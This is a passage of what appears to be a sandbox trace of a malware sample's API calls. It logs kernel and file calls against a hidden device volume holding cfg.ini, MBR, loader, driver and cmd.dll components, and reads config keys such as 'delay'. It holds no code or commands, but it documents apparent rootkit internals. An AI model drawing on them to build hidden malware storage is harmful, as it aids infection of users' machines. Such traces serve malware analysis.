_Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.724] KeEnterCriticalRegion () [0130.724] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.724] ExFreePoolWithTag (P=0xfffffa800294eec0, Tag=0x0) [0130.724] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.724] KeLeaveCriticalRegion () [0130.724] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.724] ReleaseMutex (hMutex=0xf0) returned 1 [0130.724] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.724] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.724] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.724] KeEnterCriticalRegion () [0130.724] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.724] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.724] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.724] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.724] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.724] IdePortDispatch () returned 0x103 [0130.725] KeWaitForMutexObject () returned 0x0 [0130.725] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.725] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.725] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.725] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.725] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.725] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294e910 [0130.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.725] KeLeaveCriticalRegion () [0130.725] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.725] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.725] KeEnterCriticalRegion () [0130.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.725] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.725] KeLeaveCriticalRegion () [0130.725] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.725] KeEnterCriticalRegion () [0130.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.725] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.725] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.725] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.725] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.725] IdePortDispatch () returned 0x103 [0130.726] KeWaitForMutexObject () returned 0x0 [0130.726] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.726] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.726] KeLeaveCriticalRegion () [0130.726] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.726] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.726] KeEnterCriticalRegion () [0130.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.726] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ab000 [0130.726] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.726] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.726] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.726] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.726] IdePortDispatch () returned 0x103 [0130.726] KeWaitForMutexObject () returned 0x0 [0130.726] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.727] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.727] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.727] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.727] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.727] IdePortDispatch () returned 0x103 [0130.727] KeWaitForMutexObject () returned 0x0 [0130.727] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.727] KeLeaveCriticalRegion () [0130.727] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.728] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.728] KeEnterCriticalRegion () [0130.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.728] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.728] KeLeaveCriticalRegion () [0130.728] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.728] KeEnterCriticalRegion () [0130.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.728] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.728] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294eac0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.728] KeLeaveCriticalRegion () [0130.728] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.728] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.728] KeEnterCriticalRegion () [0130.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.728] ExFreePoolWithTag (P=0xfffffa800294e910, Tag=0x0) [0130.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.728] KeLeaveCriticalRegion () [0130.728] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.728] ReleaseMutex (hMutex=0xf0) returned 1 [0130.728] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.728] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.728] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.728] KeEnterCriticalRegion () [0130.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.728] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.728] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.728] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.728] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.728] IdePortDispatch () returned 0x103 [0130.729] KeWaitForMutexObject () returned 0x0 [0130.729] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.729] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.729] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.729] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.729] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.729] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294d650 [0130.729] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.729] KeLeaveCriticalRegion () [0130.729] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.729] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.729] KeEnterCriticalRegion () [0130.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.729] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.729] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.729] KeLeaveCriticalRegion () [0130.729] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.729] KeEnterCriticalRegion () [0130.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.729] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.729] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.729] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.729] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.729] IdePortDispatch () returned 0x103 [0130.729] KeWaitForMutexObject () returned 0x0 [0130.730] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.730] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.730] KeLeaveCriticalRegion () [0130.730] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.730] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.730] KeEnterCriticalRegion () [0130.730] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.730] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ac000 [0130.730] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.730] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.730] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.730] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.730] IdePortDispatch () returned 0x103 [0130.730] KeWaitForMutexObject () returned 0x0 [0130.730] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.730] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.730] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.730] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.730] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.730] IdePortDispatch () returned 0x103 [0130.731] KeWaitForMutexObject () returned 0x0 [0130.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.731] KeLeaveCriticalRegion () [0130.731] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.731] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.731] KeEnterCriticalRegion () [0130.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.731] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.732] KeLeaveCriticalRegion () [0130.732] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.732] KeEnterCriticalRegion () [0130.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.732] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.732] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294d310, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.732] KeLeaveCriticalRegion () [0130.732] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.732] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.732] KeEnterCriticalRegion () [0130.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.732] ExFreePoolWithTag (P=0xfffffa800294d650, Tag=0x0) [0130.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.732] KeLeaveCriticalRegion () [0130.732] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.732] ReleaseMutex (hMutex=0xf0) returned 1 [0130.732] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.732] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.732] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.732] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.732] KeEnterCriticalRegion () [0130.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.732] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.732] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.732] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.732] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.732] IdePortDispatch () returned 0x103 [0130.732] KeWaitForMutexObject () returned 0x0 [0130.733] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.733] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.733] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.733] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.733] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.733] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.733] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.733] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.733] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.733] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.733] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.733] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.733] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.733] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.733] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.733] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.733] KeLeaveCriticalRegion () [0130.733] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.733] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.733] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.733] KeEnterCriticalRegion () [0130.733] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.733] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.733] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.733] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.733] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.733] IdePortDispatch () returned 0x103 [0130.733] KeWaitForMutexObject () returned 0x0 [0130.734] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.734] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.734] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.734] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.734] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.734] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.734] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.734] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.734] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.734] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.734] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.734] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.734] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.734] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.734] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.734] KeLeaveCriticalRegion () [0130.734] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.734] ReleaseMutex (hMutex=0x100) returned 1 [0130.734] Sleep (dwMilliseconds=0x2bf20) [0130.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x710a8f50, dwHighDateTime=0x1d24fa4)) [0130.743] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.743] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.743] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.743] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.743] KeEnterCriticalRegion () [0130.743] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.743] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.743] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.743] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.743] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.743] IdePortDispatch () returned 0x103 [0130.743] KeWaitForMutexObject () returned 0x0 [0130.743] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.743] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.743] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.743] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.743] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.743] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294ddb0 [0130.744] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.744] KeLeaveCriticalRegion () [0130.744] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.744] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.744] KeEnterCriticalRegion () [0130.744] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.744] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.744] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.744] KeLeaveCriticalRegion () [0130.744] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.744] KeEnterCriticalRegion () [0130.744] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.744] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.744] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.744] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.744] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.744] IdePortDispatch () returned 0x103 [0130.744] KeWaitForMutexObject () returned 0x0 [0130.744] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.744] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.744] KeLeaveCriticalRegion () [0130.744] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.748] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.748] KeEnterCriticalRegion () [0130.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.749] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, 